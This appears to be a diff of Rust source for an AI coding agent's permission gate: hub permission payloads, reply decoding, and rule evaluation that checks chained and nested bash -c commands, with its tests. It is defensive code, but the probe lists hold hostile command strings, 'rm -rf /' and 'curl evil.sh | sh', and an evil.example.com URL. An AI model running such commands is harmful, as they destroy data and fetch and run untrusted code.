AccessKind::MCPTool { name, .. } => format!("Run MCP tool {name}"),
|
||||
AccessKind::WebFetch(url) => format!("Fetch {url}"),
|
||||
AccessKind::WebSearch(query) => format!("Search the web for {query}"),
|
||||
AccessKind::Read(_) => "Read a file".to_owned(),
|
||||
AccessKind::Grep { .. } => "Search file contents".to_owned(),
|
||||
}
|
||||
}
|
||||
/// Build the server → chat `permission_request` payload. The field set matches
|
||||
/// chat's `PermissionRequestPayload` parser: `tool_call_id`, `tool_name`,
|
||||
/// `description`, `scope`, and the bash/edit context.
|
||||
pub(crate) fn build_permission_payload(access: &AccessKind, tool_call_id: &str) -> Value {
|
||||
let mut payload = serde_json::json!(
|
||||
{ "tool_call_id" : tool_call_id, "tool_name" : tool_name_for_access(access),
|
||||
"description" : describe_access(access), "scope" : scope_for_access(access), }
|
||||
);
|
||||
if let Some(map) = payload.as_object_mut() {
|
||||
match access {
|
||||
AccessKind::Bash(command) => {
|
||||
map.insert("bash_command".to_owned(), Value::from(command.clone()));
|
||||
}
|
||||
AccessKind::Edit(path) => {
|
||||
map.insert(
|
||||
"edit_file_paths".to_owned(),
|
||||
Value::from(vec![path.clone()]),
|
||||
);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
payload
|
||||
}
|
||||
/// Decode chat's decision reply onto a [`PromptOutcome`]. The reply is chat's
|
||||
/// `permission_answer_to_json` output: `{ "outcome", "scope"?, "followup_message"? }`.
|
||||
/// An unknown / `unspecified` outcome fails closed (reject).
|
||||
pub(crate) fn reply_to_outcome(reply: &Value) -> PromptOutcome {
|
||||
let outcome = match reply.get("outcome") {
|
||||
Some(Value::String(s)) => s.as_str(),
|
||||
Some(Value::Number(n)) => match n.as_i64() {
|
||||
Some(1) => "approve",
|
||||
Some(2) => "reject",
|
||||
Some(3) => "always_approve",
|
||||
Some(4) => "always_reject",
|
||||
_ => "",
|
||||
},
|
||||
_ => "",
|
||||
};
|
||||
let followup = reply
|
||||
.get("followup_message")
|
||||
.and_then(Value::as_str)
|
||||
.filter(|s| !s.is_empty());
|
||||
match outcome {
|
||||
"approve" => PromptOutcome::AllowOnce,
|
||||
"always_approve" => match scope_kind_value(reply) {
|
||||
Some(("bash_command", Some(value))) => PromptOutcome::AllowAlwaysBashCommand(value),
|
||||
Some(("server_prefix", Some(value))) => PromptOutcome::AllowAlwaysMcpServer(value),
|
||||
Some(("domain", Some(value))) => PromptOutcome::AllowAlwaysDomain(value),
|
||||
_ => PromptOutcome::AllowAlways,
|
||||
},
|
||||
"reject" => match followup {
|
||||
Some(message) => PromptOutcome::FollowupMessage(message.to_owned()),
|
||||
None => PromptOutcome::RejectOnce,
|
||||
},
|
||||
"always_reject" => match scope_kind_value(reply) {
|
||||
Some(("bash_command", Some(value))) => PromptOutcome::RejectAlwaysBashCommand(value),
|
||||
_ => PromptOutcome::RejectOnce,
|
||||
},
|
||||
"cancelled" => PromptOutcome::Cancelled,
|
||||
_ => PromptOutcome::RejectOnce,
|
||||
}
|
||||
}
|
||||
fn scope_kind_value(reply: &Value) -> Option<(&str, Option<String>)> {
|
||||
let scope = reply.get("scope")?;
|
||||
let kind = scope.get("kind").and_then(Value::as_str)?;
|
||||
let value = scope
|
||||
.get("value")
|
||||
.and_then(Value::as_str)
|
||||
.map(str::to_owned);
|
||||
Some((kind, value))
|
||||
}
|
||||
/// Map a hub-served tool name + JSON args onto an [`AccessKind`] for the
|
||||
/// permission gate in [`crate::hub::SessionRoutedToolHandler`]. Returns `None`
|
||||
/// for tools that never need a user prompt (reads / todos / dynamic).
|
||||
pub fn access_kind_for_hub_tool(tool_name: &str, args: &Value) -> Option<AccessKind> {
|
||||
let name = tool_name.rsplit(':').next().unwrap_or(tool_name);
|
||||
let name = name.strip_prefix("GrokBuild:").unwrap_or(name);
|
||||
match name {
|
||||
"run_terminal_command" | "run_terminal_cmd" | "bash" | "shell" => {
|
||||
let cmd = args
|
||||
.get("command")
|
||||
.or_else(|| args.get("full_command"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("")
|
||||
.to_owned();
|
||||
Some(AccessKind::Bash(cmd))
|
||||
}
|
||||
"search_replace" | "hashline_edit" => {
|
||||
let path = args
|
||||
.get("file_path")
|
||||
.or_else(|| args.get("path"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("unknown")
|
||||
.to_owned();
|
||||
Some(AccessKind::Edit(path))
|
||||
}
|
||||
"write" | "write_file" => {
|
||||
let path = args
|
||||
.get("file_path")
|
||||
.or_else(|| args.get("path"))
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("unknown")
|
||||
.to_owned();
|
||||
Some(AccessKind::Edit(path))
|
||||
}
|
||||
"apply_patch" => Some(AccessKind::Edit("apply_patch".to_owned())),
|
||||
"web_fetch" => {
|
||||
let url = args
|
||||
.get("url")
|
||||
.and_then(Value::as_str)
|
||||
.unwrap_or("")
|
||||
.to_owned();
|
||||
Some(AccessKind::WebFetch(url))
|
||||
}
|
||||
n if n.contains("__") || n.starts_with("mcp") => Some(AccessKind::MCPTool {
|
||||
name: tool_name.to_owned(),
|
||||
input: args.clone(),
|
||||
}),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
/// Whether a [`PromptOutcome`] allows the tool call to proceed.
|
||||
pub fn prompt_outcome_allows(outcome: &PromptOutcome) -> bool {
|
||||
matches!(
|
||||
outcome,
|
||||
PromptOutcome::AllowOnce
|
||||
| PromptOutcome::AllowAlways
|
||||
| PromptOutcome::AllowEditsForSession
|
||||
| PromptOutcome::AllowAlwaysBashCommand(_)
|
||||
| PromptOutcome::AllowAlwaysDomain(_)
|
||||
| PromptOutcome::AllowAlwaysMcpTool(_)
|
||||
| PromptOutcome::AllowAlwaysMcpServer(_)
|
||||
)
|
||||
}
|
||||
/// Request a permission decision from chat over `transport` and map the reply
|
||||
/// to a [`PromptOutcome`]. A transport error fails closed (the manager turns an
|
||||
/// `Error` outcome into a reject) so a lost server connection never silently runs
|
||||
/// a guarded tool.
|
||||
pub async fn request_permission_via_hub(
|
||||
transport: &dyn PermissionHookTransport,
|
||||
access: &AccessKind,
|
||||
tool_call_id: &str,
|
||||
) -> PromptOutcome {
|
||||
let payload = build_permission_payload(access, tool_call_id);
|
||||
match transport.request_permission(payload).await {
|
||||
Ok(reply) => match reply_to_outcome(&reply) {
|
||||
PromptOutcome::AllowAlways if matches!(access, AccessKind::Edit(_)) => {
|
||||
PromptOutcome::AllowEditsForSession
|
||||
}
|
||||
other => other,
|
||||
},
|
||||
Err(e) => {
|
||||
tracing::error!(error = % e, "hub permission request failed; rejecting");
|
||||
PromptOutcome::Error(format!("hub permission request failed: {e}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::Mutex;
|
||||
/// Pins the current SDK timeout wording the classifier matches on.
|
||||
#[test]
|
||||
fn is_timeout_err_matches_backstop_wording_only() {
|
||||
assert!(is_timeout_err("request timed out after 600s"));
|
||||
assert!(is_timeout_err("request timed out after 600.0s"));
|
||||
assert!(!is_timeout_err("connection lost"));
|
||||
assert!(!is_timeout_err("tool server gone (weak upgrade failed)"));
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_bash_carries_command_and_write_scope() {
|
||||
let payload = build_permission_payload(&AccessKind::Bash("rm -rf /tmp/x".into()), "tc-1");
|
||||
assert_eq!(payload["tool_call_id"], "tc-1");
|
||||
assert_eq!(payload["tool_name"], "run_terminal_command");
|
||||
assert_eq!(payload["description"], "Run a terminal command");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert_eq!(payload["bash_command"], "rm -rf /tmp/x");
|
||||
assert!(payload.get("edit_file_paths").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_edit_carries_file_paths() {
|
||||
let payload = build_permission_payload(&AccessKind::Edit("src/main.rs".into()), "tc-2");
|
||||
assert_eq!(payload["tool_name"], "search_replace");
|
||||
assert_eq!(payload["description"], "Edit src/main.rs");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert_eq!(
|
||||
payload["edit_file_paths"],
|
||||
serde_json::json!(["src/main.rs"])
|
||||
);
|
||||
assert!(payload.get("bash_command").is_none());
|
||||
assert!(payload.get("edit_kind").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn payload_for_mcp_has_no_tool_context() {
|
||||
let payload = build_permission_payload(
|
||||
&AccessKind::MCPTool {
|
||||
name: "linear__list".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
"tc-3",
|
||||
);
|
||||
assert_eq!(payload["tool_name"], "mcp:linear__list");
|
||||
assert_eq!(payload["description"], "Run MCP tool linear__list");
|
||||
assert_eq!(payload["scope"], "write");
|
||||
assert!(payload.get("bash_command").is_none());
|
||||
assert!(payload.get("edit_file_paths").is_none());
|
||||
}
|
||||
#[test]
|
||||
fn reply_outcomes_map_to_prompt_outcomes() {
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "approve" })),
|
||||
PromptOutcome::AllowOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "reject" })),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "cancelled" })),
|
||||
PromptOutcome::Cancelled
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "unspecified"
|
||||
})),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({})),
|
||||
PromptOutcome::RejectOnce
|
||||
));
|
||||
}
|
||||
#[test]
|
||||
fn reject_with_followup_routes_message_to_model() {
|
||||
let reply = serde_json::json!(
|
||||
{ "outcome" : "reject", "followup_message" : "use cargo instead" }
|
||||
);
|
||||
match reply_to_outcome(&reply) {
|
||||
PromptOutcome::FollowupMessage(m) => assert_eq!(m, "use cargo instead"),
|
||||
other => panic!("expected FollowupMessage, got {other:?}"),
|
||||
}
|
||||
}
|
||||
#[test]
|
||||
fn always_approve_maps_scope_to_persistent_outcome() {
|
||||
let bash = serde_json::json!(
|
||||
{ "outcome" : "always_approve", "scope" : { "kind" : "bash_command", "value"
|
||||
: "cargo build" }, }
|
||||
);
|
||||
match reply_to_outcome(&bash) {
|
||||
PromptOutcome::AllowAlwaysBashCommand(v) => assert_eq!(v, "cargo build"),
|
||||
other => panic!("expected AllowAlwaysBashCommand, got {other:?}"),
|
||||
}
|
||||
let server = serde_json::json!(
|
||||
{ "outcome" : "always_approve", "scope" : { "kind" : "server_prefix", "value"
|
||||
: "linear" }, }
|
||||
);
|
||||
match reply_to_outcome(&server) {
|
||||
PromptOutcome::AllowAlwaysMcpServer(v) => assert_eq!(v, "linear"),
|
||||
other => panic!("expected AllowAlwaysMcpServer, got {other:?}"),
|
||||
}
|
||||
assert!(matches!(
|
||||
reply_to_outcome(&serde_json::json!({ "outcome" : "always_approve"
|
||||
})),
|
||||
PromptOutcome::AllowAlways
|
||||
));
|
||||
}
|
||||
#[test]
|
||||
fn always_reject_with_bash_scope_persists_the_denied_prefix() {
|
||||
let reply = serde_json::json!(
|
||||
{ "outcome" : "always_reject", "scope" : { "kind" : "bash_command", "value" :
|
||||
"curl" }, }
|
||||
);
|
||||
match reply_to_outcome(&reply) {
|
||||
PromptOutcome::RejectAlwaysBashCommand(v) => assert_eq!(v, "curl"),
|
||||
other => panic!("expected RejectAlwaysBashCommand, got {other:?}"),
|
||||
}
|
||||
}
|
||||
struct StubTransport {
|
||||
reply: Result<Value, String>,
|
||||
seen: Mutex<Option<Value>>,
|
||||
}
|
||||
#[async_trait]
|
||||
impl PermissionHookTransport for StubTransport {
|
||||
async fn request_permission(&self, payload: Value) -> Result<Value, String> {
|
||||
*self.seen.lock().unwrap() = Some(payload);
|
||||
self.reply.clone()
|
||||
}
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn request_sends_payload_and_decodes_reply() {
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Bash("ls -la".into()), "tc-7")
|
||||
.await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowOnce));
|
||||
let seen = transport
|
||||
.seen
|
||||
.lock()
|
||||
.unwrap()
|
||||
.clone()
|
||||
.expect("payload sent");
|
||||
assert_eq!(seen["tool_call_id"], "tc-7");
|
||||
assert_eq!(seen["bash_command"], "ls -la");
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn transport_error_fails_closed() {
|
||||
let transport = StubTransport {
|
||||
reply: Err("connection lost".to_owned()),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-8").await;
|
||||
assert!(matches!(outcome, PromptOutcome::Error(_)));
|
||||
}
|
||||
#[tokio::test]
|
||||
async fn edit_always_approve_maps_to_session_scope() {
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome =
|
||||
request_permission_via_hub(&transport, &AccessKind::Edit("a.rs".into()), "tc-9").await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowEditsForSession));
|
||||
let transport = StubTransport {
|
||||
reply: Ok(serde_json::json!({ "outcome" : "always_approve" })),
|
||||
seen: Mutex::new(None),
|
||||
};
|
||||
let outcome = request_permission_via_hub(
|
||||
&transport,
|
||||
&AccessKind::MCPTool {
|
||||
name: "x".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
"tc-10",
|
||||
)
|
||||
.await;
|
||||
assert!(matches!(outcome, PromptOutcome::AllowAlways));
|
||||
}
|
||||
#[test]
|
||||
fn hitl_permission_live_defaults_off_without_env() {
|
||||
if std::env::var(HITL_PERMISSION_LIVE_ENV).is_err() {
|
||||
assert!(!hitl_permission_live_enabled());
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,45 @@
|
||||
pub mod auto_mode;
|
||||
pub mod claude_settings;
|
||||
mod hub_permission;
|
||||
mod manager;
|
||||
mod policy;
|
||||
mod prompter;
|
||||
pub mod resolution;
|
||||
pub mod rules;
|
||||
mod shell_access;
|
||||
mod state;
|
||||
pub mod types;
|
||||
|
||||
pub use auto_mode::{
|
||||
AUTO_MODE_CLASSIFIER_SYSTEM_PROMPT, AutoFastPath, CLASSIFIER_TURN_MAX_LEN, ClassifierContext,
|
||||
ClassifierMessage, ClassifierMessageRole, ClassifierPromptType, ClassifierTurn,
|
||||
ClassifierVerdict, ClassifyTextChannel, ClassifyTextFn, FixedClassifier,
|
||||
HeuristicPermissionClassifier, LlmPermissionClassifier, PermissionClassifier, SharedClassifier,
|
||||
access_requires_user_interaction, auto_mode_fast_path, build_classifier_messages,
|
||||
classifier_output_json_schema, default_auto_mode_classifier, is_auto_mode_allowlisted_access,
|
||||
is_auto_mode_allowlisted_tool_name, parse_classifier_model_text, permission_decision_args,
|
||||
};
|
||||
pub use hub_permission::{
|
||||
PermissionHookTransport, ToolServerPermissionTransport, access_kind_for_hub_tool,
|
||||
hitl_permission_live_enabled, prompt_outcome_allows, request_permission_via_hub,
|
||||
};
|
||||
|
||||
/// Zero-init this module's metric families. See [`crate::init_metrics`].
|
||||
pub(crate) fn init_metrics() {
|
||||
hub_permission::init_metrics();
|
||||
}
|
||||
pub use manager::{
|
||||
PermissionHandle, default_always_allow_scope, spawn_permission_manager,
|
||||
spawn_permission_manager_with_hub,
|
||||
};
|
||||
pub use policy::CompiledPolicy;
|
||||
pub use prompter::{
|
||||
ALLOW_EDITS_SESSION_OPTION_ID, AcpPrompter, BashCommandPermission, BashCommandSelectedTerms,
|
||||
ENABLE_ALWAYS_APPROVE_OPTION_ID, MCP_TOOL_NAME_DELIMITER, McpScopeSelection, McpToolPermission,
|
||||
PromptOutcome, is_enable_always_approve_option, mcp_pretty_name_if_qualified,
|
||||
mcp_titleize_segment, mcp_tool_action, mcp_tool_display_name,
|
||||
};
|
||||
pub use state::PermissionState;
|
||||
pub use state::cleanup_stale_permission_state;
|
||||
pub use types::{AccessKind, ClientType, Decision, PermissionCommand, PermissionEvent};
|
||||
pub mod bash_command_splitting;
|
||||
@@ -0,0 +1,878 @@
|
||||
use crate::permission::bash_command_splitting::{all_commands_from_script, unwrap_wrappers};
|
||||
use crate::permission::shell_access::combine_decisions;
|
||||
use crate::permission::types::{
|
||||
AccessKind, Decision, PatternMode, PermissionConfig, PermissionRule, RuleAction, ToolFilter,
|
||||
};
|
||||
use kigi_tools::implementations::grok_build::web_fetch::domain::normalize_domain;
|
||||
|
||||
#[derive(Clone, Copy)]
|
||||
enum MatchContext {
|
||||
/// `*` respects `/` as a segment boundary; `**` crosses it.
|
||||
Path,
|
||||
/// `*` matches any character including `/`.
|
||||
Freeform,
|
||||
}
|
||||
|
||||
struct CompiledRule<'a> {
|
||||
rule: &'a PermissionRule,
|
||||
matcher: Option<&'a glob::Pattern>,
|
||||
}
|
||||
|
||||
/// Permission policy with pre-compiled glob patterns.
|
||||
pub struct CompiledPolicy {
|
||||
config: PermissionConfig,
|
||||
matchers: Vec<Option<glob::Pattern>>,
|
||||
/// True if any Read/Edit/Any deny/ask rule exists, so the shell file-access
|
||||
/// gate (`shell_access.rs`) should run. Read by `evaluate_shell_file_access`.
|
||||
pub(crate) has_file_restrictions: bool,
|
||||
/// True if any Bash/Any deny/ask rule exists, so the per-segment Bash command
|
||||
/// gate should run. Read by `evaluate_bash_command_policy`.
|
||||
has_bash_command_restrictions: bool,
|
||||
}
|
||||
|
||||
impl CompiledPolicy {
|
||||
pub fn new(config: PermissionConfig) -> Self {
|
||||
let matchers = config
|
||||
.rules
|
||||
.iter()
|
||||
.map(|rule| {
|
||||
rule.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok())
|
||||
})
|
||||
.collect();
|
||||
let has_file_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(
|
||||
rule.tool,
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Any
|
||||
)
|
||||
});
|
||||
let has_bash_command_restrictions = config.rules.iter().any(|rule| {
|
||||
matches!(rule.action, RuleAction::Deny | RuleAction::Ask)
|
||||
&& matches!(rule.tool, ToolFilter::Bash | ToolFilter::Any)
|
||||
});
|
||||
Self {
|
||||
config,
|
||||
matchers,
|
||||
has_file_restrictions,
|
||||
has_bash_command_restrictions,
|
||||
}
|
||||
}
|
||||
|
||||
/// Evaluate managed Bash/Any deny/ask command rules against every chained
|
||||
/// segment (wrappers like `timeout`/`env` peeled, `bash -c` scripts recursed
|
||||
/// into), not just the leading command. Escalation only: returns
|
||||
/// `Reject`/`Ask`, never `Allow`. A script that can't be decomposed fails
|
||||
/// closed to `Ask` rather than falling through.
|
||||
pub fn evaluate_bash_command_policy(&self, cmd: &str) -> Option<Decision> {
|
||||
if !self.has_bash_command_restrictions {
|
||||
return None;
|
||||
}
|
||||
self.evaluate_bash_command_segments(cmd, 0)
|
||||
}
|
||||
|
||||
fn evaluate_bash_command_segments(&self, cmd: &str, depth: usize) -> Option<Decision> {
|
||||
// Far deeper than legitimate `bash -c` nesting; fail closed rather than
|
||||
// let an over-nested script run unevaluated.
|
||||
if depth >= 8 {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
let Some(segments) = all_commands_from_script(cmd) else {
|
||||
return Some(Decision::Ask);
|
||||
};
|
||||
let escalate = |segment: &str| match self.evaluate(&AccessKind::Bash(segment.to_owned())) {
|
||||
Some(Decision::Allow) | None => None,
|
||||
other => other,
|
||||
};
|
||||
let mut decision = None;
|
||||
for parsed in &segments {
|
||||
let raw_words = parsed.words();
|
||||
let unwrapped = unwrap_wrappers(raw_words);
|
||||
// Rules may target the wrapper or the wrapped program, so both forms
|
||||
// are checked — but only once when nothing was peeled.
|
||||
let forms = std::iter::once(raw_words)
|
||||
.chain((unwrapped.len() != raw_words.len()).then_some(unwrapped));
|
||||
for words in forms {
|
||||
decision = combine_decisions(decision, escalate(&words.join(" ")));
|
||||
if let Some(inner) = shell_dash_c_script(words) {
|
||||
decision = combine_decisions(
|
||||
decision,
|
||||
self.evaluate_bash_command_segments(inner, depth + 1),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
decision
|
||||
}
|
||||
|
||||
/// Evaluate using deny > ask > allow precedence (order-independent).
|
||||
pub fn evaluate(&self, access: &AccessKind) -> Option<Decision> {
|
||||
let mut matched_ask = false;
|
||||
let mut matched_allow = false;
|
||||
|
||||
for (rule, matcher) in self.config.rules.iter().zip(&self.matchers) {
|
||||
if !tool_filter_matches(access, &rule.tool) {
|
||||
continue;
|
||||
}
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
if !pattern_matches(access, &cr) {
|
||||
continue;
|
||||
}
|
||||
match rule.action {
|
||||
RuleAction::Deny => {
|
||||
let tool_label = match &rule.tool {
|
||||
ToolFilter::Any => "any tool",
|
||||
ToolFilter::Bash => "bash",
|
||||
ToolFilter::Edit => "edit",
|
||||
ToolFilter::Read => "read",
|
||||
ToolFilter::Grep => "grep",
|
||||
ToolFilter::Mcp => "mcp",
|
||||
ToolFilter::WebFetch => "web_fetch",
|
||||
ToolFilter::WebSearch => "web_search",
|
||||
};
|
||||
let reason = match &rule.pattern {
|
||||
Some(pattern) => format!(
|
||||
"Denied by permission policy: deny rule on {tool_label} matching \"{pattern}\""
|
||||
),
|
||||
None => format!("Denied by permission policy: deny rule on {tool_label}"),
|
||||
};
|
||||
return Some(Decision::Reject(reason));
|
||||
}
|
||||
RuleAction::Ask => matched_ask = true,
|
||||
RuleAction::Allow => matched_allow = true,
|
||||
}
|
||||
}
|
||||
|
||||
if matched_ask {
|
||||
return Some(Decision::Ask);
|
||||
}
|
||||
if matched_allow {
|
||||
return Some(Decision::Allow);
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
impl From<PermissionConfig> for CompiledPolicy {
|
||||
fn from(config: PermissionConfig) -> Self {
|
||||
Self::new(config)
|
||||
}
|
||||
}
|
||||
|
||||
/// The inner script string of a `bash -c "<script>"` invocation (also `sh`,
|
||||
/// `dash`, `zsh`, `ksh`); `None` if the words are not such an invocation.
|
||||
/// Known residuals: option arguments (`-o pipefail`) and `+`-option words can
|
||||
/// mis-take the operand — escalation-only so a miss never allows; skipping `+…` would add a dodge.
|
||||
fn shell_dash_c_script(words: &[String]) -> Option<&str> {
|
||||
let program = words.first()?.rsplit(['/', '\\']).next()?;
|
||||
if !matches!(program, "bash" | "sh" | "dash" | "zsh" | "ksh") {
|
||||
return None;
|
||||
}
|
||||
let flag = words
|
||||
.iter()
|
||||
.skip(1)
|
||||
.position(|w| w.starts_with('-') && !w.starts_with("--") && w.contains('c'))?;
|
||||
// The script is the first operand after the `-c` cluster, not necessarily
|
||||
// the next word: more options may sit in between (`bash -c -x 'id'`), and
|
||||
// `--` / a lone `-` end option parsing with the operand following.
|
||||
let mut rest = words.get(flag + 2..)?.iter();
|
||||
while let Some(word) = rest.next() {
|
||||
if matches!(word.as_str(), "--" | "-") {
|
||||
return rest.next().map(String::as_str);
|
||||
}
|
||||
if !word.starts_with('-') {
|
||||
return Some(word.as_str());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn tool_filter_matches(access: &AccessKind, filter: &ToolFilter) -> bool {
|
||||
match filter {
|
||||
ToolFilter::Any => true,
|
||||
ToolFilter::Bash => matches!(access, AccessKind::Bash(_)),
|
||||
ToolFilter::Edit => matches!(access, AccessKind::Edit(_)),
|
||||
// A Read rule also governs the Grep tool: grep reads file contents, so a
|
||||
// managed `Read` deny/ask on a path must block grepping that same path —
|
||||
// otherwise grep is a read-bypass. Grep-specific rules still use `Grep`.
|
||||
ToolFilter::Read => matches!(access, AccessKind::Read(_) | AccessKind::Grep { .. }),
|
||||
ToolFilter::Grep => matches!(access, AccessKind::Grep { .. }),
|
||||
ToolFilter::Mcp => matches!(access, AccessKind::MCPTool { .. }),
|
||||
ToolFilter::WebFetch => matches!(access, AccessKind::WebFetch(_)),
|
||||
ToolFilter::WebSearch => matches!(access, AccessKind::WebSearch(_)),
|
||||
}
|
||||
}
|
||||
|
||||
fn pattern_matches(access: &AccessKind, cr: &CompiledRule<'_>) -> bool {
|
||||
let pattern = match cr.rule.pattern.as_deref() {
|
||||
Some(p) => p,
|
||||
None => return true,
|
||||
};
|
||||
if pattern == "*" {
|
||||
return true;
|
||||
}
|
||||
|
||||
match access {
|
||||
// CWE-178: trim leading whitespace so deny rules cannot
|
||||
// be bypassed by prefixing commands with spaces.
|
||||
AccessKind::Bash(cmd) => {
|
||||
let cmd = cmd.trim_start();
|
||||
cmd.starts_with(pattern) || glob_matches(cmd, MatchContext::Freeform, cr.matcher)
|
||||
}
|
||||
AccessKind::Edit(path) => glob_matches(path, MatchContext::Path, cr.matcher),
|
||||
AccessKind::Read(path) => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::Grep { path, .. } => match path {
|
||||
Some(p) => glob_matches(p, MatchContext::Path, cr.matcher),
|
||||
None => false,
|
||||
},
|
||||
AccessKind::MCPTool { name, .. } => glob_matches(name, MatchContext::Freeform, cr.matcher),
|
||||
AccessKind::WebFetch(url) => match cr.rule.pattern_mode {
|
||||
PatternMode::Domain => domain_matches(pattern, url),
|
||||
PatternMode::Glob => glob_matches(url, MatchContext::Freeform, cr.matcher),
|
||||
},
|
||||
AccessKind::WebSearch(query) => {
|
||||
glob_matches(query, MatchContext::Freeform, cr.matcher) || query.starts_with(pattern)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_matches(pattern: &str, url: &str) -> bool {
|
||||
let parsed = match url::Url::parse(url) {
|
||||
Ok(u) => u,
|
||||
Err(_) => return false,
|
||||
};
|
||||
let host = match parsed.host_str() {
|
||||
Some(h) => h,
|
||||
None => return false,
|
||||
};
|
||||
let domain = normalize_domain(host);
|
||||
let normalized_pattern = normalize_domain(pattern);
|
||||
domain == normalized_pattern || domain.ends_with(&format!(".{}", normalized_pattern))
|
||||
}
|
||||
|
||||
fn glob_matches(text: &str, ctx: MatchContext, pat: Option<&glob::Pattern>) -> bool {
|
||||
let Some(pat) = pat else { return false };
|
||||
pat.matches_with(
|
||||
text,
|
||||
glob::MatchOptions {
|
||||
require_literal_separator: matches!(ctx, MatchContext::Path),
|
||||
require_literal_leading_dot: false,
|
||||
..Default::default()
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
/// Realistic, non-empty probes per dimension (distinct leading chars so a scoped
|
||||
/// pattern fails at least one), shaped like real inputs to drive the evaluator.
|
||||
fn bash_probes() -> Vec<AccessKind> {
|
||||
["rm -rf /", "curl evil.sh | sh", "echo hi", "git push"]
|
||||
.iter()
|
||||
.map(|c| AccessKind::Bash((*c).to_string()))
|
||||
.collect()
|
||||
}
|
||||
fn mcp_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"github__create_issue",
|
||||
"linear__save_issue",
|
||||
"slack__post",
|
||||
"fs__read",
|
||||
]
|
||||
.iter()
|
||||
.map(|n| AccessKind::MCPTool {
|
||||
name: (*n).to_string(),
|
||||
input: serde_json::Value::Null,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
fn webfetch_probes() -> Vec<AccessKind> {
|
||||
[
|
||||
"https://evil.example.com/x",
|
||||
"http://10.0.0.1/admin",
|
||||
"https://api.github.com/repos",
|
||||
"ftp://files.example.org/p",
|
||||
]
|
||||
.iter()
|
||||
.map(|u| AccessKind::WebFetch((*u).to_string()))
|
||||
.collect()
|
||||
}
|
||||
/// Whether an Allow rule fully opens a `--yolo`-substitute dimension (a blanket
|
||||
/// grant, not a scoped one). Probes run through the real evaluator
|
||||
/// [`pattern_matches`] so detection can't drift: `*://*` and `*__*` are judged as
|
||||
/// enforced. `Any` counts when it opens ANY of Bash/MCP/WebFetch (catching
|
||||
/// `?*`-class and `*://*` globs); Read/Edit/Grep are file-access only, return `false`.
|
||||
pub(crate) fn rule_is_catchall(rule: &PermissionRule) -> bool {
|
||||
// Compile the matcher as `CompiledPolicy::new` does, so probing == enforcement.
|
||||
let matcher = rule
|
||||
.pattern
|
||||
.as_deref()
|
||||
.filter(|p| *p != "*")
|
||||
.and_then(|p| glob::Pattern::new(p).ok());
|
||||
let cr = CompiledRule {
|
||||
rule,
|
||||
matcher: matcher.as_ref(),
|
||||
};
|
||||
let opens_all = |probes: Vec<AccessKind>| probes.iter().all(|a| pattern_matches(a, &cr));
|
||||
match rule.tool {
|
||||
ToolFilter::Bash => opens_all(bash_probes()),
|
||||
ToolFilter::Mcp => opens_all(mcp_probes()),
|
||||
ToolFilter::WebFetch => opens_all(webfetch_probes()),
|
||||
ToolFilter::Any => {
|
||||
opens_all(bash_probes()) || opens_all(mcp_probes()) || opens_all(webfetch_probes())
|
||||
}
|
||||
ToolFilter::Read | ToolFilter::Edit | ToolFilter::Grep | ToolFilter::WebSearch => false,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::permission::types::PermissionRule;
|
||||
|
||||
// ── pattern_matches tests ─────────────────────────────────────────────
|
||||
|
||||
